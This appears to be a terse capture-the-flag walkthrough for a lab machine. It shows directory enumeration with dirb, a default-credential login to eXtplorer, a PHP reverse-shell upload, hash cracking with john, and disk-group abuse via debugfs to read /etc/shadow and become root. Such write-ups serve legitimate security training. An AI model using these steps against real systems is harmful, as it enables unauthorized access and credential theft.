Trying dirb:
dirb http://192.168.236.16
We find extplorer:
Trying admin:admin
admin:admin
Now upload a php-reverse-shell.php:
We have a shell as www-data.
Now digging in the extplorer: We find hashes
We can crack the dora hash:
Now we can switch to dora in the shell: We are in disk group so we can access root user.
So now checking the disk / is mounted on:
/
Now cracking the hash with john we get the password for root: We can switch to root:
Last updated 1 year ago
http://192.168.236.16/shell.php
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
df -h
debugfs /dev/mapper/ubuntu--vg-ubuntu--lv
cat /etc/shadow
su root